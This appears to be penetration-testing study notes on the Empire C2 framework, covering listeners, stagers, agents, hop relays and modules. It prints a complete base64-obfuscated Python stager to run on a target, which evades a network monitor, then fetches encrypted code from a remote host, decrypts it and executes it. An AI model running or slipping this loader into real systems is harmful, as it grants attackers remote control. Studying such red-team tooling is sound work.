killchain-compendium/post_exploitation/docs/empire.md

Empire C2

Parts

• Listeners

• Stagers, payloads generated, for example a reverse, delivery mechanism for agents

• Agents

• Modules use through agents

• Results are stored in a DB

Commands

uselistener

• Example

uselistener http

• msf like commands, run listener

set <option> <value>
options
execute

• go back to main menu

back
main

• Check listeners
• kill <listener>

usestager

usestager multi/launcher
usestager multi/bash

• Set the listener created under uselistener

set Listener <Listener>

• execute, output is for example:

echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCm91dCwgZXJyID0gcHMuY29tbXVuaWNhdGUoKQppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliLnJlcXVlc3Q7ClVBPSdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbyc7c2VydmVyPSdodHRwOi8vMTAuNTAuMTg0LjQ5OjgwMDAnO3Q9Jy9uZXdzLnBocCc7cmVxPXVybGxpYi5yZXF1ZXN0LlJlcXVlc3Qoc2VydmVyK3QpOwpwcm94eSA9IHVybGxpYi5yZXF1ZXN0LlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliLnJlcXVlc3QuYnVpbGRfb3BlbmVyKHByb3h5KTsKby5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj16bWNwNFJXb3d1MU9majBEa0dQVkZaK0RKTUE9IildOwp1cmxsaWIucmVxdWVzdC5pbnN0YWxsX29wZW5lcihvKTsKYT11cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0NqT2cyUzpvbSp5PSg0YVs5LkBaVzNEP2ROTEdlez5CJy5lbmNvZGUoJ1VURi04Jyk7UyxqLG91dD1saXN0KHJhbmdlKDI1NikpLDAsW10KZm9yIGkgaW4gbGlzdChyYW5nZSgyNTYpKToKICAgIGo9KGorU1tpXStrZXlbaSVsZW4oa2V5KV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBkYXRhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihjaGFyXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));" | python3 &

• run this on the target

agents

• agents checks the deployed agents
• interact <AgentName>
• help in interaction context
• kill <AgentName>

Create Hop Listener

uselistener http_hop

set RedirectListener <ExistingListenerName>

set Host <IPofRelay>
```sh
set Port <PortonRelay>

• execute and check files under /tmp/http_hop/news.php, /tmp/http_hop/admin/get.php, /tmp/http_hop/login/process.php

• usestager multi/handler

• set Listener http_hop

• on Relay: php -S 0.0.0.0:PORT &>/dev/null &

• usemodule powershell/privesc/sherlock on agent for example

Interactive shell